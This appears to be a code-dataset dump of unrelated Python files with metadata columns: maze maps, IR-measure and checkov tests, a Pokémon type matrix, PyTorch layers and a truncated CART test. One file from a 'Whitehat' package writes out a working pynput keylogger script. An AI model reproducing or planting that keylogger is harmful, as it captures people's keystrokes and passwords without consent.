| 0.696427
| 0.001944
| 0
| 0.705186
| 0
| 0
| 0.005166
| 0
| 0
| 0
| 0
| 0.000514
| 0.001691
| 1
| 0.060879
| false
| 0
| 0.00451
| 0.001127
| 0.118377
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
2d4a805d4b6da8f4ee6d0682f20bb27f74d61a69
| 2,685
|
py
|
Python
|
QLearning/MAP/maze_map.py
|
Mahongsheng/qlearning_maze
|
1c261d8ce392cc545705162b72625daf3f959560
|
[
"MIT"
] | 2
|
2020-10-29T12:32:37.000Z
|
2021-04-28T01:08:51.000Z
|
QLearning/MAP/maze_map.py
|
Mahongsheng/qlearning_maze
|
1c261d8ce392cc545705162b72625daf3f959560
|
[
"MIT"
] | null | null | null |
QLearning/MAP/maze_map.py
|
Mahongsheng/qlearning_maze
|
1c261d8ce392cc545705162b72625daf3f959560
|
[
"MIT"
] | 1
|
2020-10-29T12:35:07.000Z
|
2020-10-29T12:35:07.000Z
|
# 1表示空格，0表示墙, 2表示陷阱, 3表示火
Mazes = {
'maze7_1': [
[1., 0., 1., 1., 1., 1., 1.],
[1., 1., 1., 0., 0., 1., 0.],
[0., 0., 0., 1., 1., 1., 0.],
[1., 1., 1., 1., 0., 0., 1.],
[1., 0., 0., 0., 1., 1., 1.],
[1., 0., 1., 1., 1., 1., 1.],
[1., 1., 1., 0., 1., 1., 1.]
],
'maze7_2': [
[1., 0., 1., 1., 1., 1., 1.],
[1., 1., 1., 0., 0., 1., 0.],
[0., 0., 0., 1., 1., 1., 0.],
[1., 1., 1., 1., 0., 0., 1.],
[1., 0., 0., 0., 1., 1., 1.],
[1., 0., 1., 1., 1., 2., 2.],
[1., 1., 1., 0., 1., 1., 1.]
],
'maze7_3': [
[1., 0., 1., 1., 1., 1., 1.],
[1., 1., 3., 0., 0., 1., 0.],
[0., 0., 0., 1., 1., 1., 0.],
[1., 1., 1., 1., 0., 0., 1.],
[1., 0., 0., 0., 1., 1., 1.],
[1., 0., 1., 1., 1., 2., 2.],
[1., 1., 1., 0., 1., 1., 1.]
],
'maze10_1': [
[1, 0, 1, 1, 1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 0, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 0, 1, 1, 1, 1],
[0, 0, 1, 0, 0, 1, 0, 1, 1, 1],
[1, 1, 0, 1, 0, 1, 0, 0, 0, 1],
[1, 1, 0, 1, 0, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 0, 0, 0, 0],
[1, 0, 0, 0, 0, 0, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 1, 0, 1, 1],
],
'maze10_2': [
[1, 0, 1, 1, 1, 1, 1, 1, 1, 1],
[1, 2, 1, 1, 1, 0, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 0, 1, 1, 1, 1],
[0, 0, 1, 0, 0, 1, 0, 1, 1, 1],
[1, 1, 0, 1, 0, 1, 0, 0, 0, 1],
[1, 1, 0, 1, 0, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
[1, 2, 1, 1, 1, 1, 0, 0, 0, 0],
[1, 0, 0, 0, 0, 0, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 1, 0, 1, 1],
],
'maze10_3': [
[1, 0, 1, 1, 1, 1, 1, 1, 1, 1],
[1, 2, 1, 1, 1, 0, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 0, 1, 1, 1, 1],
[0, 0, 1, 0, 0, 1, 0, 1, 1, 1],
[1, 1, 0, 1, 0, 1, 0, 0, 0, 1],
[1, 1, 0, 1, 0, 1, 3, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
[1, 2, 1, 1, 1, 1, 0, 0, 0, 0],
[1, 0, 0, 0, 0, 0, 3, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 1, 0, 1, 1],
],
'maze11_1': [
[1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1],
[1, 1, 3, 0, 0, 1, 0, 1, 1, 1, 1],
[1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 2],
[1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 2],
[1, 0, 0, 0, 1, 1, 3, 1, 1, 1, 2],
[1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1],
[1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1],
[1, 1, 1, 0, 1, 3, 0, 1, 0, 0, 3],
[1, 0, 3, 0, 1, 1, 2, 1, 1, 0, 1],
[1, 0, 1, 1, 1, 2, 0, 1, 1, 1, 1],
[1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1],
]
}
| 30.511364
| 42
| 0.239851
| 587
| 2,685
| 1.085179
| 0.020443
| 0.907378
| 1.026688
| 1.010989
| 0.919937
| 0.904239
| 0.89011
| 0.879121
| 0.857143
| 0.847724
| 0
| 0.386126
| 0.430912
| 2,685
| 88
| 43
| 30.511364
| 0.030759
| 0.008566
| 0
| 0.679487
| 0
| 0
| 0.019917
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 12
|
93040d3148dce0e81e43042ccda3ed1fba18acdc
| 335
|
py
|
Python
|
whitehat/utilities/keylogger_utils.py
|
TheGenocides/Whitehat
|
31fe9ac9089b672b0329e42d1a4a80174224afef
|
[
"Apache-2.0"
] | null | null | null |
whitehat/utilities/keylogger_utils.py
|
TheGenocides/Whitehat
|
31fe9ac9089b672b0329e42d1a4a80174224afef
|
[
"Apache-2.0"
] | null | null | null |
whitehat/utilities/keylogger_utils.py
|
TheGenocides/Whitehat
|
31fe9ac9089b672b0329e42d1a4a80174224afef
|
[
"Apache-2.0"
] | null | null | null |
def content(function):
function.write("from pynput.keyboard import Key, Listener\nimport logging\n\nlogging.basicConfig(filename='your log file path', level=logging.DEBUG, format=' %(asctime)s - %(message)s')\n\ndef on_press(key):\n logging.info(str(key))\n\nwith Listener(on_press=on_press) as listener:\n listener.join()")
| 111.666667
| 311
| 0.743284
| 51
| 335
| 4.823529
| 0.666667
| 0.085366
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.095522
| 335
| 2
| 312
| 167.5
| 0.811881
| 0
| 0
| 0
| 0
| 0.5
| 0.862687
| 0.304478
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0.5
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
93416fcd96c267e750b2ad791e2d79effa9f664a
| 3,030
|
py
|
Python
|
test/test_gdeval.py
|
claclark/ir_measures
|
0696f3cdf3d259d7f6713ef6e5cc4a6c2717d6de
|
[
"Apache-2.0"
] | 17
|
2021-04-27T19:42:27.000Z
|
2022-03-13T10:57:16.000Z
|
test/test_gdeval.py
|
claclark/ir_measures
|
0696f3cdf3d259d7f6713ef6e5cc4a6c2717d6de
|
[
"Apache-2.0"
] | 27
|
2021-04-23T19:33:22.000Z
|
2022-03-08T13:42:10.000Z
|
test/test_gdeval.py
|
claclark/ir_measures
|
0696f3cdf3d259d7f6713ef6e5cc4a6c2717d6de
|
[
"Apache-2.0"
] | 3
|
2021-12-28T21:21:07.000Z
|
2022-01-26T15:38:40.000Z
|
import unittest
import itertools
import ir_measures
class TestPytrecEval(unittest.TestCase):
def test_nDCG(self):
qrels = list(ir_measures.read_trec_qrels('''
0 0 D0 0
0 0 D1 1
0 0 D2 1
0 0 D3 2
0 0 D4 0
1 0 D0 1
1 0 D3 2
1 0 D5 2
'''))
run = list(ir_measures.read_trec_run('''
0 0 D0 1 0.8 run
0 0 D2 2 0.7 run
0 0 D1 3 0.3 run
0 0 D3 4 0.4 run
0 0 D4 5 0.1 run
1 0 D1 1 0.8 run
1 0 D3 2 0.7 run
1 0 D4 3 0.3 run
1 0 D2 4 0.4 run
'''))
provider = ir_measures.gdeval
measure = ir_measures.nDCG@20
result = list(provider.iter_calc([measure], qrels, run))
self.assertEqual(result[0].query_id, "0")
self.assertEqual(result[0].value, 0.6201)
self.assertEqual(result[1].query_id, "1")
self.assertEqual(result[1].value, 0.35099)
self.assertEqual(provider.calc_aggregate([measure], qrels, run)[measure], 0.485545)
self.assertEqual(provider.evaluator([measure], qrels).calc_aggregate(run)[measure], 0.485545)
measure = ir_measures.nDCG@2
result = list(provider.iter_calc([measure], qrels, run))
self.assertEqual(result[0].query_id, "0")
self.assertEqual(result[0].value, 0.17377)
self.assertEqual(result[1].query_id, "1")
self.assertEqual(result[1].value, 0.38685)
self.assertEqual(provider.calc_aggregate([measure], qrels, run)[measure], 0.28031)
ev = provider.evaluator([ir_measures.nDCG@20, ir_measures.nDCG@2], qrels)
res = ev.calc_aggregate(run)
self.assertEqual(res[ir_measures.nDCG@20], 0.485545)
self.assertEqual(res[ir_measures.nDCG@2], 0.28031)
res = ev.calc_aggregate(run)
self.assertEqual(res[ir_measures.nDCG@20], 0.485545)
self.assertEqual(res[ir_measures.nDCG@2], 0.28031)
def test_ERR(self):
qrels = list(ir_measures.read_trec_qrels('''
0 0 D0 0
0 0 D1 1
0 0 D2 1
0 0 D3 2
0 0 D4 0
1 0 D0 1
1 0 D3 2
1 0 D5 2
'''))
run = list(ir_measures.read_trec_run('''
0 0 D0 1 0.8 run
0 0 D2 2 0.7 run
0 0 D1 3 0.3 run
0 0 D3 4 0.4 run
0 0 D4 5 0.1 run
1 0 D1 1 0.8 run
1 0 D3 2 0.7 run
1 0 D4 3 0.3 run
1 0 D2 4 0.4 run
'''))
provider = ir_measures.gdeval
measure = ir_measures.ERR@20
result = list(provider.iter_calc([measure], qrels, run))
self.assertEqual(result[0].query_id, "0")
self.assertEqual(result[0].value, 0.10175)
self.assertEqual(result[1].query_id, "1")
self.assertEqual(result[1].value, 0.09375)
self.assertEqual(provider.calc_aggregate([measure], qrels, run)[measure], 0.09775)
measure = ir_measures.ERR@2
result = list(provider.iter_calc([measure], qrels, run))
self.assertEqual(result[0].query_id, "0")
self.assertEqual(result[0].value, 0.03125)
self.assertEqual(result[1].query_id, "1")
self.assertEqual(result[1].value, 0.09375)
self.assertEqual(provider.calc_aggregate([measure], qrels, run)[measure], 0.0625)
if __name__ == '__main__':
unittest.main()
| 30.606061
| 101
| 0.645215
| 528
| 3,030
| 3.600379
| 0.11553
| 0.197265
| 0.176749
| 0.092583
| 0.816412
| 0.816412
| 0.816412
| 0.816412
| 0.816412
| 0.816412
| 0
| 0.133531
| 0.221452
| 3,030
| 98
| 102
| 30.918367
| 0.672319
| 0
| 0
| 0.727273
| 0
| 0
| 0.155116
| 0
| 0
| 0
| 0
| 0
| 0.284091
| 1
| 0.022727
| false
| 0
| 0.034091
| 0
| 0.068182
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
fa7d36a6cc59f78dd6d4166548e9f93aab94e140
| 3,346
|
py
|
Python
|
tests/dockerfile/test_runner.py
|
tkishel/checkov
|
8bd6b1137c21683cbb2b15cb4e315d7c6f0efc1e
|
[
"Apache-2.0"
] | 1
|
2021-04-15T19:15:39.000Z
|
2021-04-15T19:15:39.000Z
|
tests/dockerfile/test_runner.py
|
tkishel/checkov
|
8bd6b1137c21683cbb2b15cb4e315d7c6f0efc1e
|
[
"Apache-2.0"
] | null | null | null |
tests/dockerfile/test_runner.py
|
tkishel/checkov
|
8bd6b1137c21683cbb2b15cb4e315d7c6f0efc1e
|
[
"Apache-2.0"
] | null | null | null |
import unittest
import os
from checkov.dockerfile.runner import Runner
from checkov.runner_filter import RunnerFilter
class TestRunnerValid(unittest.TestCase):
def test_runner_empty_dockerfile(self):
current_dir = os.path.dirname(os.path.realpath(__file__))
valid_dir_path = current_dir + "/resources/empty_dockerfile"
runner = Runner()
report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,
runner_filter=RunnerFilter(framework='all'))
self.assertEqual(report.failed_checks, [])
self.assertEqual(report.parsing_errors, [])
self.assertEqual(report.passed_checks, [])
self.assertEqual(report.skipped_checks, [])
report.print_console()
def test_runner_failing_check(self):
current_dir = os.path.dirname(os.path.realpath(__file__))
valid_dir_path = current_dir + "/resources/expose_port/fail"
runner = Runner()
report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,
runner_filter=RunnerFilter(framework='all',checks=['CKV_DOCKER_1']))
self.assertEqual(len(report.failed_checks), 1)
self.assertEqual(report.parsing_errors, [])
self.assertEqual(report.passed_checks, [])
self.assertEqual(report.skipped_checks, [])
report.print_console()
def test_runner_failing_check_with_file_path(self):
current_dir = os.path.dirname(os.path.realpath(__file__))
valid_file_path = current_dir + "/resources/expose_port/fail/Dockerfile"
runner = Runner()
report = runner.run(
files=[valid_file_path],
external_checks_dir=None,
runner_filter=RunnerFilter(framework="all", checks=["CKV_DOCKER_1"]),
)
self.assertEqual(len(report.failed_checks), 1)
self.assertEqual(report.parsing_errors, [])
self.assertEqual(report.passed_checks, [])
self.assertEqual(report.skipped_checks, [])
report.print_console()
def test_runner_passing_check(self):
current_dir = os.path.dirname(os.path.realpath(__file__))
valid_dir_path = current_dir + "/resources/expose_port/pass"
runner = Runner()
report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,
runner_filter=RunnerFilter(framework='all',checks=['CKV_DOCKER_1']))
self.assertEqual(len(report.passed_checks), 1)
self.assertEqual(report.parsing_errors, [])
self.assertEqual(report.failed_checks, [])
self.assertEqual(report.skipped_checks, [])
report.print_console()
def test_runner_skip_check(self):
current_dir = os.path.dirname(os.path.realpath(__file__))
valid_dir_path = current_dir + "/resources/expose_port/skip"
runner = Runner()
report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,
runner_filter=RunnerFilter(framework='all',checks=['CKV_DOCKER_1']))
self.assertEqual(len(report.skipped_checks), 1)
self.assertEqual(report.parsing_errors, [])
self.assertEqual(report.failed_checks, [])
self.assertEqual(report.passed_checks, [])
report.print_console()
if __name__ == '__main__':
unittest.main()
| 42.35443
| 96
| 0.675134
| 381
| 3,346
| 5.577428
| 0.152231
| 0.141176
| 0.158118
| 0.076235
| 0.871529
| 0.865882
| 0.843765
| 0.824471
| 0.808941
| 0.808941
| 0
| 0.003035
| 0.212194
| 3,346
| 78
| 97
| 42.897436
| 0.803111
| 0
| 0
| 0.615385
| 0
| 0
| 0.064854
| 0.043634
| 0
| 0
| 0
| 0
| 0.307692
| 1
| 0.076923
| false
| 0.107692
| 0.061538
| 0
| 0.153846
| 0.076923
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
fa90dd680b0bd1ec7fa0a0c44f87ecdc04e32ffc
| 3,870
|
py
|
Python
|
make_instance.py
|
github-nakasho/Pokemon_opt
|
abf1522fc1bf315d2018599b94d839084b421420
|
[
"MIT"
] | null | null | null |
make_instance.py
|
github-nakasho/Pokemon_opt
|
abf1522fc1bf315d2018599b94d839084b421420
|
[
"MIT"
] | null | null | null |
make_instance.py
|
github-nakasho/Pokemon_opt
|
abf1522fc1bf315d2018599b94d839084b421420
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
import numpy as np
import sys
def make_instance():
# normal、fire、water、electric、grass、ice、fighting, poison, ground,
# flying, psychic, bug, rock, ghost, dragon, dark, steel, fairy
type_matrix = np.array([[1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 0.5, 0.0, 1.0, 1.0, 0.5, 1.0],
[1.0, 0.5, 0.5, 1.0, 2.0, 2.0, 1.0, 1.0, 1.0, 1.0, 1.0, 2.0, 0.5, 1.0, 0.5, 1.0, 2.0, 1.0],
[1.0, 2.0, 0.5, 1.0, 0.5, 1.0, 1.0, 1.0, 2.0, 1.0, 1.0, 1.0, 2.0, 1.0, 0.5, 1.0, 1.0, 1.0],
[1.0, 1.0, 2.0, 0.5, 0.5, 1.0, 1.0, 1.0, 0.0, 2.0, 1.0, 1.0, 1.0, 1.0, 0.5, 1.0, 1.0, 1.0],
[1.0, 0.5, 2.0, 1.0, 0.5, 1.0, 1.0, 0.5, 2.0, 0.5, 1.0, 0.5, 2.0, 1.0, 0.5, 1.0, 0.5, 1.0],
[1.0, 0.5, 0.5, 1.0, 2.0, 0.5, 1.0, 1.0, 2.0, 2.0, 1.0, 1.0, 1.0, 1.0, 2.0, 1.0, 0.5, 1.0],
[2.0, 1.0, 1.0, 1.0, 1.0, 2.0, 1.0, 0.5, 1.0, 0.5, 0.5, 0.5, 2.0, 0.0, 1.0, 2.0, 2.0, 0.5],
[1.0, 1.0, 1.0, 1.0, 2.0, 1.0, 1.0, 0.5, 0.5, 1.0, 1.0, 1.0, 0.5, 0.5, 1.0, 1.0, 0.0, 2.0],
[1.0, 2.0, 1.0, 2.0, 0.5, 1.0, 1.0, 2.0, 1.0, 0.0, 1.0, 0.5, 2.0, 1.0, 1.0, 1.0, 2.0, 1.0],
[1.0, 1.0, 1.0, 0.5, 2.0, 1.0, 2.0, 1.0, 1.0, 1.0, 1.0, 2.0, 0.5, 1.0, 1.0, 1.0, 0.5, 1.0],
[1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 2.0, 2.0, 1.0, 1.0, 0.5, 1.0, 1.0, 1.0, 1.0, 0.0, 0.5, 1.0],
[1.0, 0.5, 1.0, 1.0, 2.0, 1.0, 0.5, 0.5, 1.0, 0.5, 2.0, 1.0, 1.0, 0.5, 1.0, 2.0, 0.5, 0.5],
[1.0, 2.0, 1.0, 1.0, 1.0, 2.0, 0.5, 1.0, 0.5, 2.0, 1.0, 2.0, 1.0, 1.0, 1.0, 1.0, 0.5, 1.0],
[0.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 2.0, 1.0, 1.0, 2.0, 1.0, 0.5, 1.0, 1.0],
[1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 2.0, 1.0, 0.5, 0.0],
[1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 0.5, 1.0, 1.0, 1.0, 2.0, 1.0, 1.0, 2.0, 1.0, 0.5, 1.0, 0.5],
[1.0, 0.5, 0.5, 0.5, 1.0, 2.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 2.0, 1.0, 1.0, 1.0, 0.5, 2.0],
[1.0, 0.5, 1.0, 1.0, 1.0, 1.0, 2.0, 0.5, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 2.0, 2.0, 0.5, 1.0]])
# make weak_matrix
weak_matrix = np.where(type_matrix==2.0, 1.0, 0.0)
resist_matrix = np.where(type_matrix<1.0, 1.0, 0.0)
# set enemy & skill
# enemy1
enemy1 = [0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
skill1 = [[0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]]
# enemy2
enemy2 = [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
skill2 = [[0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1],
[1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]]
# enemy3
enemy3 = [0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
skill3 = [[0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]]
# combine enemy into one list
enemy = [enemy1, enemy2, enemy3]
# combine skill into one list
skill = [skill1, skill2, skill3]
return type_matrix, weak_matrix, resist_matrix, enemy, skill
| 71.666667
| 120
| 0.357881
| 1,019
| 3,870
| 1.349362
| 0.052993
| 0.442182
| 0.497455
| 0.590545
| 0.709818
| 0.674182
| 0.665455
| 0.665455
| 0.664727
| 0.661818
| 0
| 0.386122
| 0.366925
| 3,870
| 54
| 121
| 71.666667
| 0.175102
| 0.066925
| 0
| 0.097561
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.02439
| false
| 0
| 0.04878
| 0
| 0.097561
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
fabc6c269a2578679ccd8d2e6e4c518bc8f0d8b9
| 1,984
|
py
|
Python
|
dvmvs/layers.py
|
hashi0203/deep-video-mvs
|
b3943a9249d522dca3e6cd603e427f611cc7bad5
|
[
"MIT"
] | 1
|
2022-01-10T07:51:41.000Z
|
2022-01-10T07:51:41.000Z
|
dvmvs/layers.py
|
MorchelPeng/deep-video-mvs
|
fa14288f149c5af7b2a49092f729f5c4f44517ba
|
[
"MIT"
] | null | null | null |
dvmvs/layers.py
|
MorchelPeng/deep-video-mvs
|
fa14288f149c5af7b2a49092f729f5c4f44517ba
|
[
"MIT"
] | null | null | null |
import torch
def down_conv_layer(input_channels, output_channels, kernel_size):
return torch.nn.Sequential(
torch.nn.Conv2d(
input_channels,
output_channels,
kernel_size,
padding=(kernel_size - 1) // 2,
stride=1,
bias=False),
torch.nn.BatchNorm2d(output_channels),
torch.nn.ReLU(),
torch.nn.Conv2d(
output_channels,
output_channels,
kernel_size,
padding=(kernel_size - 1) // 2,
stride=2,
bias=False),
torch.nn.BatchNorm2d(output_channels),
torch.nn.ReLU())
def up_conv_layer(input_channels, output_channels, kernel_size):
return torch.nn.Sequential(
torch.nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True),
torch.nn.Conv2d(
input_channels,
output_channels,
kernel_size,
padding=(kernel_size - 1) // 2,
bias=False),
torch.nn.BatchNorm2d(output_channels),
torch.nn.ReLU())
def conv_layer(input_channels, output_channels, kernel_size, stride, apply_bn_relu):
if apply_bn_relu:
return torch.nn.Sequential(
torch.nn.Conv2d(
input_channels,
output_channels,
kernel_size,
padding=(kernel_size - 1) // 2,
stride=stride,
bias=False),
torch.nn.BatchNorm2d(output_channels),
torch.nn.ReLU(inplace=True))
else:
return torch.nn.Sequential(
torch.nn.Conv2d(
input_channels,
output_channels,
kernel_size,
padding=(kernel_size - 1) // 2,
stride=stride,
bias=False))
def depth_layer_3x3(input_channels):
return torch.nn.Sequential(
torch.nn.Conv2d(input_channels, 1, 3, padding=1),
torch.nn.Sigmoid())
| 30.060606
| 84
| 0.557964
| 211
| 1,984
| 5.018957
| 0.194313
| 0.13881
| 0.166195
| 0.21152
| 0.824363
| 0.824363
| 0.824363
| 0.824363
| 0.780925
| 0.734655
| 0
| 0.021555
| 0.345262
| 1,984
| 65
| 85
| 30.523077
| 0.793687
| 0
| 0
| 0.736842
| 0
| 0
| 0.004032
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.070175
| false
| 0
| 0.017544
| 0.052632
| 0.175439
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
87b3de0602162302c275f8ea60ac4bffa2731351
| 10,632
|
py
|
Python
|
titus/test/producer/testCart.py
|
jmilleralpine/hadrian
|
6a438e0370487bbbac5e64a4d6d7a2728902d153
|
[
"Apache-2.0"
] | 127
|
2015-08-05T17:08:35.000Z
|
2019-10-17T07:07:08.000Z
|
titus/test/producer/testCart.py
|
jmilleralpine/hadrian
|
6a438e0370487bbbac5e64a4d6d7a2728902d153
|
[
"Apache-2.0"
] | 54
|
2015-11-20T02:21:29.000Z
|
2019-11-23T20:17:23.000Z
|
titus/test/producer/testCart.py
|
jmilleralpine/hadrian
|
6a438e0370487bbbac5e64a4d6d7a2728902d153
|
[
"Apache-2.0"
] | 58
|
2015-05-27T18:19:29.000Z
|
2019-05-23T12:37:17.000Z
|
#!/usr/bin/env python
# Copyright (C) 2014 Open Data ("Open Data" refers to
# one or more of the following companies: Open Data Partners LLC,
# Open Data Research LLC, or Open Data Capital LLC.)
#
# This file is part of Hadrian.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import random
import unittest
import numpy
from titus.genpy import PFAEngine
from titus.producer.tools import look
from titus.producer.cart import *
class TestProducerCart(unittest.TestCase):
@staticmethod
def data():
while True:
x = random.uniform(0, 10)
y = random.uniform(0, 10)
if x < 4.0:
if y < 6.0:
z = random.gauss(5, 1)
else:
z = random.gauss(8, 1)
else:
if y < 2.0:
z = random.gauss(1, 1)
else:
z = random.gauss(2, 1)
if z < 0.0:
z = 0.0
elif z >= 10.0:
z = 9.99999
a = "A" + str(int(x))
b = "B" + str(int(y/2) * 2)
c = "C" + str(int(z/3) * 3)
yield (x, y, z, a, b, c)
def testCartMustBuildNumericalNumerical(self):
random.seed(12345)
numpy.seterr(divide="ignore", invalid="ignore")
dataset = Dataset.fromIterable(((x, y, z) for (x, y, z, a, b, c) in TestProducerCart.data()), 100000, ("x", "y", "z"))
tree = TreeNode.fromWholeDataset(dataset, "z")
tree.splitMaxDepth(2)
doc = tree.pfaDocument({"type": "record", "name": "Datum", "fields": [{"name": "x", "type": "double"}, {"name": "y", "type": "double"}]}, "TreeNode")
# look(doc, maxDepth=8)
self.assertEqual(doc["cells"]["tree"]["init"]["field"], "x")
self.assertAlmostEqual(doc["cells"]["tree"]["init"]["value"], 4.00, places=2)
self.assertEqual(doc["cells"]["tree"]["init"]["pass"]["TreeNode"]["field"], "y")
self.assertAlmostEqual(doc["cells"]["tree"]["init"]["pass"]["TreeNode"]["value"], 6.00, places=2)
self.assertAlmostEqual(doc["cells"]["tree"]["init"]["pass"]["TreeNode"]["pass"]["double"], 5.00, places=2)
self.assertAlmostEqual(doc["cells"]["tree"]["init"]["pass"]["TreeNode"]["fail"]["double"], 8.02, places=2)
self.assertEqual(doc["cells"]["tree"]["init"]["fail"]["TreeNode"]["field"], "y")
self.assertAlmostEqual(doc["cells"]["tree"]["init"]["fail"]["TreeNode"]["value"], 2.00, places=2)
self.assertAlmostEqual(doc["cells"]["tree"]["init"]["fail"]["TreeNode"]["pass"]["double"], 1.09, places=2)
self.assertAlmostEqual(doc["cells"]["tree"]["init"]["fail"]["TreeNode"]["fail"]["double"], 2.00, places=2)
engine, = PFAEngine.fromJson(doc)
self.assertAlmostEqual(engine.action({"x": 2.0, "y": 3.0}), 5.00, places=2)
self.assertAlmostEqual(engine.action({"x": 2.0, "y": 8.0}), 8.02, places=2)
self.assertAlmostEqual(engine.action({"x": 7.0, "y": 1.0}), 1.09, places=2)
self.assertAlmostEqual(engine.action({"x": 7.0, "y": 5.0}), 2.00, places=2)
doc = tree.pfaDocument(
{"type": "record", "name": "Datum", "fields": [{"name": "x", "type": "double"}, {"name": "y", "type": "double"}]},
